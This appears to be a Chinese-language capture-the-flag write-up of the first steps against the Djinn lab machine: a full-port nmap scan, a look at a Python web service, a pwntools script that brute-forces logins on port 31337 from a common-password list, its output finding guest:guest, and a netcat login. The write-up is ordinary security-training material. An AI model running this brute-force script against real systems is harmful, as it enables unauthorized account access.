┌──(root💀kali)-[/tmp]
└─# nmap -p 1-65535 -sV 192.168.32.232
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 10:33 EDT
Nmap scan report for 192.168.32.232
Host is up (0.00050s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.45
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
31337/tcp open Elite?
浏览器访问80端口
image-20220911223546069
浏览器访问5000端口
此端口托管一个 python Web 服务器。我们看到一张带有编号、ID、标题、状态和链接的票证列表。点击链接重定向到http://djinn.box:5000/?id=<ID>。
#!/usr/bin/env python3
from pwn import *
import sys
host, port = '192.168.32.232', 31337
# https://raw.githubusercontent.com/shipcod3/Piata-Common-Usernames-and-Passwords/master/userpass.txt
with open('userpass.txt') as f:
data = f.readlines()
for creds in data:
(username, password) = creds.split(' ')
username = username.strip()
password = password.strip()
s = remote(host, port, level='error')
s.recvuntil('username> ')
s.sendline(username)
s.recvuntil('password> ')
s.sendline(password)
msg = s.recvline()
if b'authentication failed' not in msg:
print("[+] Valid credentials found: {}:{}".format(username, password))
sys.exit(0)
s.close()
发现账号密码:guest:guest
┌──(root💀kali)-[/tmp]
└─# python3 brute.py
/tmp/brute.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
s.recvuntil('username> ')
/tmp/brute.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
s.sendline(username)
/tmp/brute.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
s.recvuntil('password> ')
/tmp/brute.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
s.sendline(password)
[+] Valid credentials found: guest:guest
连接成功
┌──(root💀kali)-[/tmp]
└─# nc 192.168.32.232 31337
username> guest
password> guest
Welcome to our own ticketing system. This application is still under
development so if you find any issue please report it to mail@mzfr.me
Enter "help" to get the list of available commands.
> help
help Show this menu
update Update the ticketing software
open Open a new ticket
close Close an existing ticket
exit Exit
